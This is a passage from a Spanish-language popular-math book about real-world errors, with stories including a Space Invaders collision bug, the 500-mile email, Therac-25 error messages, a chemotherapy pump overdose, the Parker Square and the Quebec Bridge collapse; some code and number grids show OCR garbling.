(Verdadero) o False (Falso), dependiendo del nombre que ya se le habia dado al gato con
anterioridad. Utilice el que no toca y el codigo fallara.

Algunos lenguajes informaticos intentan hacernos la vida lo mas facil posible esforzandose
para comprender qué estamos intentando decirle. Razon por la cual, como programador
aficionado, utilizo Python: el lenguaje mas amable de todos. Después de ese estan los lenguajes
que no hacen una sola concesion si el programador comete algin error, pero al menos no son
maliciosos. En este grupo entrarian la inmensa mayoria de lenguajes: C++, Java, Ruby, PHP, etc.

Y, por supuesto, luego estan los lenguajes que odian el concepto mismo de lo que es un
humano. Nacieron porque los programadores piensan que son graciosisimos y que crear
deliberadamente lenguajes informaticos dificiles de manejar es casi un deporte. El mas tipico es
un lenguaje llamado brainf ck, que he censurado ligeramente para este libro. Creo que su



respetuoso nombre oficial de «BF» no le hace justicia. En brainf ck solo hay ocho simbolos
posibles: > <+ —[ ], and. Lo que implica que incluso los programas mas sencillos se parecen a
esto:

P[>+ <[> [P < <<
o S <t A > <o S <A <>

Aunque se dice con frecuencia que brainf ck es lenguaje de broma, creo que realmente vale
la pena aprenderlo, porque tiene que ver de manera directa con la forma en la que un lenguaje de
programacion almacena y manipula los datos. Es como interactuar directamente con el disco duro.
Imaginese un programa informatico que se fije en un unico byte en la memoria cada vez: <y >
trasladan el foco hacia la izquierda y hacia la derecha; + y — incrementan o disminuyen el valor
actual; [ y ] se utilizan para ejecutar bucles mientras que . y, son los comandos de lectura y
escritura. Y todo es lo que hace cualquier otro programa informatico; solo que esta escondido bajo
otras capas de traduccion.

Si esta buscando un lenguaje que sea confuso por puro gusto, entonces Whitespace es lo que
necesita. Ignora cualquier caracter visible del codigo y procesa solo los invisibles. Por lo que
para programar en Whitespace solo se pueden utilizar combinaciones de espacios, tabulaciones e
intros.! Y eso es antes de pasarnos a lenguajes de programacion en los que solo se permite utilizar
la palabra «chicken»; el codigo necesita ser formateado como si estuvieras pidiendo en un
restaurante a través de la ventanilla del coche o todo se escribe como en una partitura musical.
Creo que, gracias al sesgo de supervivencia, los programadores tienden a ser una pandilla de
sadicos que disfrutan de la frustracién que causa su obra.

Dejando de lado erratas y lenguajes que deliberadamente van a por ti, existen toda una clase
de errores de programacioén que considero errores de codigo «clasicos». Son mas faciles de
localizar en programas antiguos, que eran deliberadamente supereficientes para poder ejecutarse
en hardware con potencia limitada. Esto hacia que los programadores fueran algo mas creativos, y
eso condujo a algunos efectos colaterales inesperados.

Los programadores del juego arcade Space Invaders estaban tan preocupados por ahorrar
espacio en la limitada ROM del chip que intentaron economizarlo todo lo posible. Las eficiencias
de Space Invaders dieron lugar a una serie de peculiaridades que fueron explotadas por los
jugadores, pero algunas son tan especificas que no creo que ningun jugador las conociera, y menos
aun que las utilizara. Se hallan en la zona gris situada entre los errores de programacién y las
consecuencias involuntarias.

Durante una partida de Space Invaders, el jugador podia disparar a los alienigenas que iban
descendiendo por la pantalla, a la misteriosa nave ocasional que atravesaba volando la parte
superior y a sus propios escudos protectores. El programa necesitaba comprobar si un disparo
habia alcanzado algo importante. Detectar una colision puede suponer una parte de codigo dificil
de escribir, y los programadores responsables de Space Invaders estaban buscando formas de
simplificar este proceso. Se dieron cuenta de que todos los disparos o golpeaban algo o salian por
la parte superior de la pantalla.



Por lo que, después de que se efectuara cada disparo, el programa espera a ver si la bala
alcanza una misteriosa nave o sale de la pantalla. Si no ocurre nada de eso, entonces comprueba la
coordenada y de la colision para ver la altura en la que se produjo. Si es mas alta que el
alienigena situado mas abajo, entonces debe haber alcanzado a uno de ellos: no existe ninguna otra
opcion. Y aqui se pone en marcha la parte del cddigo asociada con la pregunta: «;Qué alienigena
ha sido alcanzado por el disparo?». Es algo parecido al procesador SRI de los cohetes Ariane: se
hacen suposiciones sobre qué clase de datos pueden llegar a €1, y las comprobaciones solo se
ejecutan cuando son realmente necesarias.

Los alienigenas estan dispuestos en una cuadricula compuesta por cinco filas con once
alienigenas cada una. Para controlar los cincuenta y cinco alienigenas, el programa los numera del
0 al 54 y utiliza la formula de 11 x FILA + COLUMNA = ALIENIGENA para coger la fila de la
colision (de 0 a 4) y la columna (de 0 a 10) y convertirlas en el nimero del alienigena alcanzado
por el disparo.

Todo esto funcionaba a menos que el jugador disparara estratégicamente a todos los
alienigenas excepto al de la esquina superior izquierda. Era el de la fila 4, columna 0, lo que
significa que es el alienigena nimero 11 x 4 + 0 = 44. En ese momento, el jugador ve al alienigena
44 moverse de lado a lado, descendiendo lentamente, hasta que estd a punto de golpear el lado
izquierdo de la pantalla en su ultima pasada, justo por encima de los escudos del jugador. En ese
momento, el jugador dispara a su propio escudo situado mas a la derecha.

El juego registra esto como un disparo dentro de la cuadricula de alienigenas y supone que
debe haber alcanzado a alguno de ellos. El escudo esta tan a la derecha que es donde deberia estar
la linea doce, pero el codigo no detiene la comprobacion. Convierte obedientemente la
coordenada horizontal de la colision en un nimero de fila y obtiene un 11, fuera del rango normal
de columnas (de 0 a 10). Al colocar este nimero incorrecto de columna en la formula nos da lo
siguiente: 11 x 3 + 11 =44 y el alienigena del lado opuesto de la pantalla explota.

De acuerdo, no es un error garrafal, pero demuestra como incluso un sistema tan sencillo
como el de Space Invaders puede dar lugar a situaciones que los programadores no vieron venir.
El codigo original de Space Invaders no contenia comentarios, pero existe un proyecto en linea en
la web computerarcheology.com que lo analiza y comenta con notas modernas. Es una lectura
divertida. Me encantan todos los codigos que tienen comentarios como «obtén informacion sobre
el estado del alienigena; jesta vivo?». Quiero decir, cualquier comentario que no sea una version
pasada mia siendo un idiota son un regalo.
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Formacion inicial de los alienigenas en una cuadricula de cinco por once. Un disparo oportuno da en el
escudo donde deberia estar una doceava columna.

El correo electronico de las 500 millas

Ser el administrador de un sistema (o sysadmin) de una red informatica grande es lo
suficientemente intimidante como para que encima se trate de una red informatica en una
universidad a finales de los noventa. Los departamentos universitarios pueden ser un poco
susceptibles respecto a su autonomia y, en el ambiente que recuerda al salvaje oeste del inicio de
internet durante los noventa, era la combinacion perfecta para que se produjera un desastre de
compleja solucion.

Y asi fue como Trey Harris, un administrador de sistemas de la Universidad de Carolina del
Norte, recibido con cierto temor una llamada telefonica del director del departamento de
estadistica en algin momento de 1996. Tenian un problema con su correo electrénico. Algunos
departamentos habian decidido tener sus propios servidores de correo electronico, entre ellos el
departamento de estadistica, y Trey ayudd, de manera informal, a que funcionaran de forma
correcta. Lo que significa que ahora, de forma informal, era su problema:



«Estamos teniendo problemas enviando correos electronicos a destinatarios de fuera del departamento.»
«;Cual es el problema?»

«No podemos enviar mails a personas que estan a mas de 500 millas.»

«;Cémo dices™»

El director de estadistica le explicd que nadie del departamento podia enviar un correo
electronico a personas situadas a mas de 520 millas. Algunos correos enviados a personas que
estaban dentro de ese rango también fallaban, cosa que ocurria con todos los que enviaban a
lugares situados a mas de 520 millas. Por lo visto, esto llevaba ocurriendo unos dias, pero no
habian informado de ello porque estaban intentando recoger los suficientes datos para establecer
la distancia exacta. Al parecer, uno de sus geoestadisticos estaba elaborando un bonito mapa con
los lugares a los que se podia y no se podia enviar un correo electronico.

Con incredulidad, entr6 en su sistema y envid algunos correos de prueba a través del
servidor del departamento. Los correos locales y otros enviados a Washington D. C. (240 millas),
Atlanta (340 millas) y Princeton (400 millas) salieron sin problemas. Pero los que envio a
Providence (580 millas), Memphis (600 millas) y Boston (620 millas) fallaron.

Nervioso, envid un correo electronico a un amigo suyo que vivia cerca, en Carolina del
Norte, pero cuyo servidor de correo se hallaba en Seattle (a 2.340 millas). Afortunadamente,
fallo. Si los correos electronicos sabian de alguna manera la localizacion geografica del receptor,
entonces Trey se hubiera puesto a llorar. Al menos, el problema tenia algo que ver con la distancia
que le separaba del servidor que recibia el correo. Pero nada de lo que contienen los protocolos
de correo electronico dependia de lo lejos que necesitaba llegar la sefial.

Abrio el archivo sendmail.cf, un archivo que contiene todos los detalles y reglas que
determinan como se envia un correo electronico. Cada que vez que se envia uno, revisa este
archivo para obtener las instrucciones requeridas para luego pasar al sistema de correo
responsable del envio. Le sonaba familiar porque lo habia escrito el propio Trey. Nada estaba
fuera de lugar; deberia haber funcionado perfectamente con el sistema principal de envio de
correos electronicos.

Por lo que comprobd el sistema principal del departamento (para aquellos que quieran
flagelarse siguiendo los pasos al detalle, se conectd al puerto SMTP por Telnet a través del puerto
SMTP) y el sistema operativo Sun le dio la bienvenida. Escarbando un poco encontré que el
departamento de estadistica habia actualizado hacia poco la copia de Sun que utilizaba el
servidor, y esa actualizacion venia con una version predeterminada de Sendmail 5. Previamente,
Trey habia configurado el sistema para utilizar Sendmail 8, pero ahora, la nueva version del
sistema operativo Sun instalaba una version anterior, la 5. Trey habia escrito el archivo
sendmail.cf dando por hecho que solo seria leido por la version 8 del programa Sendmail.

De acuerdo, si usted ha leido lo anterior por encima, ahora lo resumiré. Lo que ocurrid, en
pocas palabras, es que las instrucciones para enviar correos electrénicos se habian escrito para un
sistema nuevo y, cuando se utilizaron en un sistema mas antiguo, se produjo el problema clasico
una vez mas: un programa informatico intentando digerir unos datos que no se escribieron para él.
Una parte de los datos eran los tiempos de espera y, en la indigestion sufrida por Sendmail 5, les
dio un valor predeterminado: cero.



Si un servidor informatico envia un correo electrénico y no recibe respuesta, necesita decidir
cuando dejar de esperar y rendirse, aceptando que el correo se ha perdido para siempre. Este
tiempo de espera ahora se restablecia a cero. El servidor intentaba enviar el correo electronico e
inmediatamente desistia. Lo mismo que los padres que convierten la habitacion de sus hijos en el
cuarto de costura antes incluso de que estos finalicen el viaje que les lleva la universidad.

Bueno, en la practica no seria exactamente cero. Seguiria existiendo un retraso en el proceso
inherente al programa de unos pocos milisegundos entre el momento en el que se envia el correo
electronico y el momento en el que el programa es capaz, oficialmente, de desistir. Trey cogié un
papel y se puso a hacer algunos calculos aproximados. La facultad estaba directamente conectada
con internet, por lo que los correos electronicos podian salir del sistema muy rédpidamente. El
primer retraso en la sefal alcanzaria el ruter situado al final del viaje y se enviaria una respuesta.

Si el servidor receptor del correo no estaba muy cargado y podia enviar la respuesta lo
suficientemente rapido, el Unico limite que quedaba era la velocidad de la sefial. Trey tuvo en
cuenta la velocidad de la luz en la fibra Optica para el viaje de regreso, ademas de los retrasos del
rater, y habia una pérdida de la sefial mas o menos a 500 millas. Los correos electronicos estaban
limitados por la naturaleza finita de la velocidad de la luz.

Esto también explicaba por qué algunos correos fallaban dentro del radio de 500 millas: los
servidores receptores eran demasiado lentos para devolver una sefal antes de que el sistema
emisor dejara de escuchar. Una simple reinstalacion de la version 8 de Sendmail, y el archivo de
configuracion sendmail.cf de nuevo era capaz de ser leido correctamente por el servidor de
correo.

Esto demuestra que, aunque algunos administradores de sistemas se ven a si mismos como
dioses en la Tierra, siguen teniendo que obedecer las leyes de la fisica.

Interacciones humanas

En 2001, estaba un dia encendiendo el ordenador que me monté con Windows y que casi me habia
durado todos los afios de universidad, y (en la pantalla de inicio de la BIOS) aparecio, en blanco,
un texto que destacaba sobre un fondo negro:

Keyboard error or no keyboard present
Press F1 to continue, DEL to enter SETUP.

Ya habia oido hablar de mensajes de error del tipo: «no se detecta ningin teclado, pulse
cualquier tecla para continuar», pero nunca habia visto uno en directo. Corri en busca de mi
compafiero de habitacion para ver si podia venir y verlo. Se habl6 de ello en la residencia durante
dias (de acuerdo, puede que mi memoria haya exagerado ligeramente la experiencia). Los
mensajes de error son una fuente constante de entretenimiento en el mundo de las tecnologias.

Pero estan ahi por una razén. Si un programa deja de funcionar, un buen mensaje de error
detallando qué condujo al desastre puede darle a la persona que lo ha de arreglar un punto desde
el que empezar. Pero muchos mensajes de error informaticos son solo un c6digo que necesita ser
revisado. Algunos de estos codigos de error se han vuelto tan comunes que el publico no
especializado los entiende. Si algo falla mientras se navega por internet, mucha gente sabe que si



aparece el mensaje «error 404» significa que no se ha podido encontrar esa web. En realidad,
cualquier error de este estilo, relacionado con una pagina web, y que empieza por 4 significa que
el error estaba en el lado del usuario (como el 403: intento de acceder a una pagina prohibida), y
los codigos que empiezan por 5 son culpa del servidor. El codigo de error 503 significa que el
servidor no estaba disponible; el 507 significa que el espacio destinado a almacenaje estd
demasiado lleno.

Siempre divertidos, los ingenieros telematicos han llamado al cédigo de error 418 «soy una
tetera». Es devuelto por cualquier tetera con conexion a internet a la que se le pide que haga café.
Fue introducido como parte de la publicacion en 1998 de las especificaciones del Protocolo de
Hipertexto para Control de Cafeteras (HTCPCP por sus siglas en inglés). Fue una broma del dia
de los inocentes en Estados Unidos, pero desde entonces se han fabricado teteras que si se
conectan y funcionan segun el HTCPCP. En 2017, el movimiento Salvar el 418 impidi6 que se
retirase ese error, consiguiendo que se conservase como «recordatorio de que los procesos
subyacentes de los ordenadores siguen estado fabricados por humanos.

Dado que su intencidn es que solo sea utilizado por personas del mundo tecnologico, muchos
codigos informaticos de error son muy funcionales y, sin duda alguna, no son faciles de utilizar.
Pero pueden aparecer algunos problemas serios cuando usuarios no técnicos se topan con un
mensaje de error demasiado técnico. Este fue uno de los problemas de la maquina de radiacion
Therac-25 con el asunto de los desbordamientos. La maquina daba unos cuarenta mensajes de
error por dia, con nombres que son de muy poca ayuda, y muchos de los cuales no eran
importantes, los operadores se habituaron a los apafios rapidos y a continuar con los tratamientos.
Algunos de los casos de sobredosis se podrian haber previsto si el operario no hubiera
desestimado los mensajes de error y continuado como si nada.

En un caso sucedido en marzo de 1986, la maquina dejoé de funcionar y el mensaje de error
«Malfunction 54» apareci6 en la pantalla. Muchos de los mensajes de error contenian Unicamente
la palabra «Malfunction» (fallo o mal funcionamiento) seguida de un mimero. Cuando analizaron
el fallo nimero 54, la explicacion fue que se trataba del «error 2 de entrada de dosis». En la
investigacion posterior se descubrid que ese tipo de error significaba que la dosis o era muy alta o
muy baja.

Todos estos codigos y descripciones impenetrables serian graciosos si no fuera por el hecho
de que un paciente del caso asociado con el «fallo 54» murid por estar sobrexpuesto a la
radiacion. Cuando se trata de equipamiento médico, los mensajes de error deficientes pueden
costar vidas. Una de las modificaciones recomendadas antes de que las maquinas Therac-25
pudieran volver a ser utilizadas fue «los mensajes cripticos de error seran sustituidos por
mensajes con sentidoy.

En 2009, un grupo de universidades y hospitales del Reino Unido se unieron para formar el
proyecto CHI+MED (siglas en inglés que significan interaccion entre ordenadores y humanos para
dispositivos médicos). Pensaron que se podia hacer mucho mas para limitar los efectos
potencialmente peligrosos de los errores matematicos y tecnologicos en la medicina y, de un modo
parecido a lo que ocurria con el modelo del queso suizo, creian que, en lugar de buscar a quien
echarle la culpa, el sistema en su conjunto deberia procurar evitar los errores.



En el campo de la medicina, existe una impresion generalizada de que las buenas personas no
cometen errores. De forma instintiva, sentimos que la persona que ignor6 el mensaje sobre el fallo
54 y pulso la P del teclado para aplicar la dosis de radiacion es el culpable de la muerte de ese
paciente. Pero es mucho mas complicado que eso. Tal como sefiala Harold Thimbleby, del
CHI+MED, simplemente eliminar a todos aquellos que admiten haber cometido un error no es un
buen sistema:

Las personas que admiten haber cometido errores son, en el mejor de los casos, suspendidas o

trasladadas, dejando de ese modo detras a un equipo que «no comete errores» y que no tiene experiencia
en administrar esos errores.

H. Thimbleby, «Errors + Bugs Needn’t Mean Deathy,

Informe de la Administracion Publica: UK Science &

Technology, 2, pags. 18-19, 2011

Sefiala que, en farmacia, es ilegal dar a un paciente el farmaco equivocado. Esto no fomenta
un ambiente en el que se admitan y afronten los errores. Aquellos que cometen un desliz y lo
admiten pueden perder su trabajo. Este sesgo de supervivencia significa que la siguiente
generacion de estudiantes de farmacia sera ensefiada por farmacéuticos que nunca «han cometido
erroresy». Perpetiia la impresion de que los errores son sucesos poco frecuentes. Pero todos los
cometemos.

En Canadd, en agosto de 2006, a un paciente con cancer le administraron el fairmaco de
quimioterapia Fluorouracilo, que tenia que ser administrado mediante una bomba de infusion que
liberaba gradualmente el fArmaco en su sistema durante cuatro dias. Lamentablemente, debido a un
error de configuraciéon de la bomba, todo el farmaco se liberé en cuatro horas y el paciente
fallecio por sobredosis. La unica forma de procesar esto es culpar a la enfermera que configuro la
bomba, y puede que a la enfermera que comprobd el trabajo de la anterior. Pero, como siempre, es
algo mas complicado que eso:

5-Fluorouracilo 5.250 mg (a 4.000 mg/m?) intravenosa, dosis tinica continua durante 4 dias... Infusion
continua mediante bomba de infusién en ambulatorio (dosis de referencia: 1.000 mg/m?/dia = 4,000
mg/m?2/4 dias).

Prescripcion electronica del Fluorouracilo

La prescripcion original del Fluorouracilo era bastante dificil de seguir, pero luego paso6 a un
farmacéutico que preparé 130 mililitros de una disolucion de 45,57 mg/ml de Fluorouracilo.
Cuando llego6 al hospital, una enfermera tuvo que calcular el ritmo de liberacidn para programar la
bomba. Después de hacer algunos célculos con una calculadora, le sali6 la cifra de 28,8 mililitros.
Consulto la etiqueta de la farmacia y, estando bastante segura, vio que en la seccion de la dosis
ponia 28,8 mililitros.

Pero, durante los calculos, la enfermera se olvid6 de dividir por las veinticuatro horas por
dia. Habia calculado que eran 28,8 mililitros por dia y supuso que eran 28,8 mililitros por hora.
La etiqueta de la farmacia ponia primero que eran 28,8 mililitros por dia, y luego, entre
paréntesis, la cantidad por hora (1,2 ml/h). Una segunda enfermera revisé lo que habia hecho la
primera y, ahora sin calculadora alguna, hizo los célculos en un pedazo de papel y cometid



exactamente el mismo error. Dado que el nimero era el mismo que el anterior, no se cuestiono si
era correcto. El paciente fue enviado a casa y se sorprendié de que la bomba, que deberia haber
durado cuatro dias, se vaciara y se pusiera a pitar después de tan solo cuatro horas.

Se pueden aprender muchas cosas de ese caso sobre como describir las prescripciones de las
dosis de los farmacos y sobre cémo son etiquetados los productos farmacéuticos. Podemos,
incluso, aprender sobre el amplio rango de tareas complejas que tienen que realizar las
enfermeras y el apoyo y revision con la que cuentan. Pero los chicos del CHI+MED se interesaron
mas en la tecnologia que propicid que se cometieran estos errores matematicos.

La interfaz de la bomba era complicada y nada intuitiva. Mas alld de eso, la bomba no tenia
ningn tipo de chequeo integrado y seguia alegremente las instrucciones dadas para vaciarse a un
ritmo anormalmente rapido para este fArmaco. Para una bomba tan esencial tendria sentido que
supiese qué farmaco es el que se estd administrando y realizase una comprobacion final sobre el
ritmo que ha sido programado (y que luego mostrase un mensaje de error comprensible).

Incluso mas interesante me parece la observacion que hizo el CHI+MED sobre el hecho de
que la enfermera utilizara una «calculadora de uso general que no tenia ni idea de qué calculo se
estaba haciendo». Nunca habia pensado en serio en que todas las calculadoras son de uso general
y que escupen a ciegas cualquier respuesta que encaje con los botones que se pulsen. Pensandolo
mejor, la mayoria de las calculadoras no tienen detector de errores integrado y no deberian
utilizarse en una situacion de vida y muerte. Lo que quiero decir es que adoro mi Casio fx-39,
pero no le confiaria mi vida.

Desde entonces, CHI+MED ha desarrollado una aplicacion calculadora que es consciente de
qué tipo de calculo se estd realizando y bloquea unos treinta errores médicos de calculo muy
comunes. Entre estos se incluyen algunos errores comunes que creo que todas las calculadoras
deberian ser capaces de entender, como colocar mal la coma decimal. Si quieres teclear 23,14
pero introduces accidentalmente 2,3,14, como lo interpretara la calculadora es una loteria. La mia
entiende que he introducido 2,314 y sigue adelante como si nada hubiera ocurrido. Una buena
calculadora médica avisard si los nimeros introducidos son ambiguos; de lo contrario, las
probabilidades de un accidente se multiplican por diez.

Sin ninguna duda, la programacion ha aportado muchos beneficios a la humanidad, pero atn
es temprano. Los codigos complejos siempre reaccionaran de formas que sus desarrolladores no
se esperaban. Pero existe la esperanza de que los dispositivos bien programados puedan afadir
mas rodajas de queso a nuestros sistemas modernos.



ASi PUES, ;QUE HEMOS APRENDIDO DE NUESTROS
ERRORES?

Mientras estaba escribiendo este libro, en uno de los muchos viajes que realizamos mi esposa y
yo, hicimos una pausa para descansar del trabajo y nos pasamos un dia visitando una ciudad
extranjera cualquiera. Una ciudad muy grande y famosa. Hicimos algunas cosas que suelen hacer
los turistas, pero entonces me di cuenta de que estdbamos en la misma ciudad en la que un amigo
mio habia realizado un trabajo como ingeniero.

Este amigo mio habia participado en el disefio y construccion de un proyecto de ingenieria
(piense en algo como un edificio o un puente) en algin momento de las ultimas décadas. Una vez,
tomando unas cervezas, me comentd que habian cometido un error durante el proceso de disefio,
un error matematico que, por suerte, no tuvo ningun impacto en la seguridad de esa cosa. Pero si
que lo habia cambiado ligeramente, en un aspecto estético casi trivial. Algo no estaba como
originalmente se habia planeado. Y si, esta historia es deliberadamente ambigua.

Veran, mi esposa (siempre dispuesta a apoyarme) me ayudd a encontrar esa evidencia visual
del error matematico de mi amigo, por lo que pude hacerme una foto junto a «eso». No tengo ni
idea de lo que debieron pensar los transetintes que por alli pasaban al verme posando junto a
aparentemente nada. Pero yo estaba entusiasmado. Iba a ser un ejemplo contemporaneo que podria
incluir en este libro. Hay muchos errores de ingenieria historicos, pero mi amigo sigue vivo y
podia contarme como se produjo dicho error. No era nada peligroso, por lo que podria explicar
con franqueza co6mo ocurrio.

Me temo que no podras usar eso.

Casi podia oir el pesar en su voz cuando me habl6 del error por primera vez. Tampoco pude
convencerle al ensefiarle las fotos de mis vacaciones en las que yo salia junto a la manifestacion
de su error de célculo. Me explicd que, aunque esta clase de cosas se analizaran y discutieran
dentro de la empresa, nunca se han difundido al exterior, ni siquiera algo tan intrascendente como
«eso». El contrato y los acuerdos de confidencialidad impiden legalmente a los ingenieros
divulgar cualquier aspecto de los proyectos en los que participan durante décadas después de que
hayan finalizado.

Asi son las cosas. Lo tinico que les puedo contar sobre ese tema es que no puedo contar nada.
Y no se trata solo de ingenieros a los que les prohiben hablar publicamente. Otro amigo
matematico mio realiza trabajos de consultoria sobre las matematicas utilizadas en una empresa
del ambito de la seguridad muy conocida. Le contratard una empresa para realizar alguna
investigacion y para descubrir errores cometidos por la industria. Pero entonces, cuando trabaje
para una compafiia diferente o incluso si asesora al gobierno en temas de seguridad, no podra
revelar lo que haya descubierto con anterioridad trabajando para otros. Todo esto es un poco
exagerado.



No parece que los humanos seamos muy buenos a la hora de aprender de los errores. Y no se
me ocurre ninguna solucion infalible: puedo entender perfectamente que las empresas no quieran
que se aireen sus defectos, o la investigacion que tuvieron que financiar para publicarla gratis. Y,
en cuanto al error estético de ingenieria que cometid mi amigo, puede que lo correcto sea que
nadie mas lo averigiie. Pero me gustaria que hubiera un mecanismo preparado para asegurarse de
que las lecciones importantes y potencialmente utiles pudieran ser compartidas con las personas
que se podrian beneficiar al conocerlas. Para este libro he investigado muchos informes sobre
investigaciones de accidentes que se hicieron publicos, pero eso solo suele ocurrir cuando ha
ocurrido un desastre muy obvio. Es muy probable que se hayan ocultado muchos otros errores
matematicos mas discretos.

Porque todos cometemos errores. Continuamente. Y no es algo que haya que temer. Muchas
personas con las que hablo dicen que, cuando estaban en el colegio, no les iban bien las
matematicas porque simplemente no las entendian. Pero la mitad del desafio que supone aprender
matematicas es aceptar que puede que no se te den bien de forma natural pero que, si pones el
empeno suficiente, podras aprenderlas. Por lo que yo sé, la tnica frase mia que algunos
profesores han colocado en un poster en sus clases es: «Los matematicos no son personas a
quienes les resultan faciles las matematicas; son personas que disfrutan con su dificultad».

En 2016, me converti, de forma accidental, en el chico del péster utilizado para cuando lo
que sabes de matematicas no es suficiente. Estdbamos grabando un video de YouTube para el
canal Numberphile y yo estaba hablando sobre los cuadrados magicos. Son cuadriculas de
nimeros que siempre dan el mismo total si sumas las filas, columnas o diagonales. Soy un gran
admirador de los cuadrados magicos y pensé que era interesante que nadie hubiera encontrado un
cuadrado magico de tres por tres formado integramente por nimeros al cuadrado. O que nadie
hubiera podido demostrar que ese cuadrado no existe. No era la cuestion de matematicas sin
resolver mas importante de todas, pero pensé que era interesante que todavia siguiera sin ser
resuelta.

Asi que lo intenté. Como reto de programacion, escribi algun cédigo para ver lo cerca que
me podia quedar de encontrar un cuadrado magico de cuadrados. Y encontré esto:

b\cﬁ

29" 1 47+ ws
41 37 1 s
23" 41 29" ws

Da el mismo total en cada fila y columna, pero en solo una de las diagonales. Solo me faltaba
una de las sumas para conseguirlo. Ademas, estaba utilizando los mismos nimeros mas de una
vez, y en un auténtico cuadrado magico todos los niimeros han de ser diferentes. Por lo que mi
intento de encontrar una solucion se quedé corto. No me sorprendiod: ya se habia demostrado que



para que un cuadrado magico de tres por tres y compuesto por cuadrados saliera bien, todos sus
nimeros tendrian que ser mayores que cien billones. Mis nimeros iban del 12 =1 al 472 = 2.209.
Solo queria intentarlo y ver hasta donde podia llegar.

El video fue grabado por Brady Haran, y ¢l fue mucho menos indulgente, basicamente porque
sefial6 que mi solucion no era demasiado buena. Cuando me preguntdé como se llamaba, supe
inmediatamente que, si lo llamaba «cuadrado Parker», se convertiria en un simbolo de cuando las
cosas fueran mal. Pero no es que tuviera otra opcion. Brady le puso al video el titulo de El
Cuadrado Parker (The Parker Square), y el resto es historia. Se convirtié en un meme de internet
por propio derecho y, en lugar de «no darle mucha importancia», Brad cre6 unas camisetas y tazas
conmemorativas. A la gente le encanta llevarlas cuando viene a ver mis programas.

He intentado conseguir que el Cuadrado Parker volviera a ser un simbolo de la importancia
de darle una oportunidad a algo, incluso cuando es muy probable que no salga bien. La
experiencia que parece que tenemos en el colegio es que hacer algo mal en matematicas es terrible
y deberia evitarse por todos los medios. Pero esa persona no va a ser capaz de sobreponerse ¢
intentar nuevos retos sin que, ocasionalmente, las cosas salgan mal. Por lo tanto, como una especie
de acuerdo mutuo, el Cuadrado Parker ha acabado siendo «un simbolo de las personas que lo
intentan pero que al final se quedan cortos».

Dicho todo esto, tal como ha dejado claro este libro, hay situaciones en las que es muy
necesario que las matematicas se hagan correctamente. Seguro que las personas que estan
probando e investigando nuevas matematicas pueden cometer toda clase de errores, pero, una vez
que estemos utilizando esas matematicas en situaciones criticas, mas nos vale que se hagan bien.
Y, puesto que a menudo vamos mas all4 de aquello de lo que la humanidad es capaz por si misma,
siempre habra algunos errores a la espera de producirse:

Asi es mi vida actualmente.



El motor principal del transbordador espacial es una maquina extraordinaria. Tiene una relaciéon empuje-

peso mayor que cualquier motor anterior. Se ha desarrollado en el limite de, o incluso mas alla, de la

experiencia previa de la ingenieria. Por lo tanto, como era de esperar, han aparecido muchas clases
diferentes de defectos y dificultades.

Apéndice F: Observaciones personales sobre la fiabilidad

de la lanzadera por R. P. Feynman, incluidas en el Informe

para el Presidente, realizado por la COMISION

PRESIDENCIAL sobre el accidente del transbordador

Challenger, 6 de junio de 1986.

Creo que es mucho mejor ser pragmatico cuando se trata de evitar algin desastre. Los errores
se van a producir, y los sistemas necesitan ser capaces de lidiar con ellos e impedir que se
conviertan en catastrofes. El equipo del CHI+MED que est4 investigando las interacciones entre
ordenadores y humanos con los dispositivos médicos ha desarrollado una nueva version del
modelo del queso suizo a la que me gusta llamar: modelo del queso caliente sobre las causas de
los accidentes.

En este modelo, el queso suizo estd de lado: imaginese que las lonchas de queso estan en
posicion horizontal y los errores caen desde arriba. Solo los errores que atraviesen los agujeros
de cada capa llegaran al fondo y se convertiran en accidentes. El elemento nuevo de este modelo
es que las lonchas de queso estan calientes y algunas partes de ellas pueden gotear, provocando
nuevos problemas. Al trabajar con dispositivos médicos, los chicos del CHI+MED se dieron
cuenta de que existia una causa de accidentes que no estaba representada en este modelo del queso
suizo: las capas y las etapas dentro de un sistema podian causar por si mismos que se produjeran
errores. Anadir una nueva capa no reduce automaticamente la cantidad de accidentes que suceden.
Los sistemas son mas complicados y dinamicos que €so.
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Nadie quiere gotas de mas en la fondue del desastre.

Utilizan el ejemplo de los sistemas de codigos de barras para la administracion de la
medicacion que fueron introducidos para reducir los errores que se cometian a la hora de
dispensar medicamentos. Estos sistemas ayudaron a que se redujeran los errores provocados por
dar una medicacion erronea, pero también abrieron nuevos caminos en los que las cosas podian
salir mal. Para poder ahorrar tiempo, algunos miembros del personal no se molestaban en
escanear el codigo de barras de la pulsera del paciente; en su lugar, llevaban copias de repuesto
de los codigos de barras de los pacientes en su cinturébn o pegaban copias en los armarios de
suministro. También escaneaban dos veces la misma medicacion en lugar de escanear dos envases
diferentes si creian que estos eran idénticos.

Asi pues, disponer de codigos de barras provocd situaciones en las que los fAirmacos que
correspondian a cada paciente se comprobaban con menos atencidon que antes. Si se pone en
marcha un sistema nuevo, los humanos pueden ser muy habilidosos a la hora de encontrar nuevas
formas de cometer errores.

Puede ser muy peligroso cuando los humanos se vuelven autocomplacientes y piensan que
saben mas que las matematicas. En 1907, en una seccion del rio St. Lawrence, en Canada, se
estaba construyendo un puente de acero por el que pasaria tanto una carretera como una via de
tren, y que media mas de medio kilometro de largo. La construccion estaba en marcha, pero el 29
de agosto uno de los obreros se dio cuenta de que un remache que habia colocado una hora antes
se habia partido por la mitad misteriosamente. Entonces, de repente, toda la seccion sur del puente
se derrumbd6, con un ruido que se oy hasta una distancia de diez kilémetros. De las ochenta y seis
personas que trabajaban en ese momento en el puente, setenta y cinco murieron.

Se habia cometido un error de célculo en cuanto a lo pesado que podia ser, en parte debido a
que cuando el disefio del puente pasdé de los 487 metros a 548 metros, las fuerzas no se
recalcularon, por lo que las vigas inferiores de apoyo cedieron y finalmente se partieron por
completo. Los obreros habian expresado sus preocupaciones sobre el hecho de que las vigas del
puente se estaban deformando cuando llevaban un tiempo colocadas, y algunos de ellos dejaron el
trabajo por miedo. Pero los ingenieros hicieron caso omiso de sus preocupaciones. Incluso cuando
se descubrio el error de célculo de la carga, el ingeniero jefe decidid seguir con la construccion;
llegaron a la conclusion de que estaria bien sin necesidad de hacer las comprobaciones
pertinentes.

Después de su hundimiento, el puente fue redisefiado, y las vigas que soportan la carga
critica tienen ahora el doble de area transversal que las del primer intento. Este disefio tuvo éxito
y el puente de Quebec se sigue utilizando desde hace mas de un siglo de su finalizacion, en 1917.
Pero la construccion no estuvo exenta de problemas. Cuando, en 1916, se colocd en su sitio la
seccion media, las maquinas elevadoras se rompieron y esa seccion del puente cayo en el rio.
